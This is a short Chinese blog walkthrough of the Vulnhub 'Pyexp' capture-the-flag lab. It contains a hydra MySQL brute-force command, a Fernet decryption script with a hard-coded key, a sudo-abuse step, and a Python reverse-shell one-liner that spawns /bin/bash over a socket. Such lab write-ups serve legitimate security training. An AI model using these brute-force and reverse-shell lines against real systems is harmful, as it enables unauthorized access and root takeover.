pyexp靶场

Pyexp靶场

  1. 靶场链接:https://download.vulnhub.com/pyexp/pyexpvm.zip

  2. 信息收集

        2.1   ip确定

        2.2   端口扫描

        2.3   开放了3306—mysql数据库,利用数据库进行操作

        2.4   开放了1337—查看资料是ssh端口改为了1337

        2.5   暴力破解

               hydra -l root -P passwd.txt -e nsr 192.168.128.138 mysql

        2.5   远程连接数据库

        2.6   ssh服务也能暴力破解但是,字典不够强大

        2.7   查询数据库,发现有用信息

               2.7.1       fernet是python的一种加密模块,写脚本解密

from cryptography.fernet import Fernet

key='UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0='

f=Fernet(key)

us=f.decrypt('gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys=')

print(us)

       2.8   ssh远程连接

        2.9 查看flag1

3      提权

Sudo -l 查看sudo 不要命令的命令

        3.1   查看exp.py的脚本

        3.2 必须以sudo 命令执行该脚本

       Sudo /usr/bin/python2 /opt/exp.py

        3.3   给uinput传值,反弹shell   url: (https://www.revshells.com)--可自动生成反弹shell

Import os,pty,socket;s=socket.socket();s.connect(("127.0.0.1",9999));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")

        3.4  获得root权限,查看root文件夹,查看flag

      

         3.5   上传木马的方式行不通,没有权限执行文件

      

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值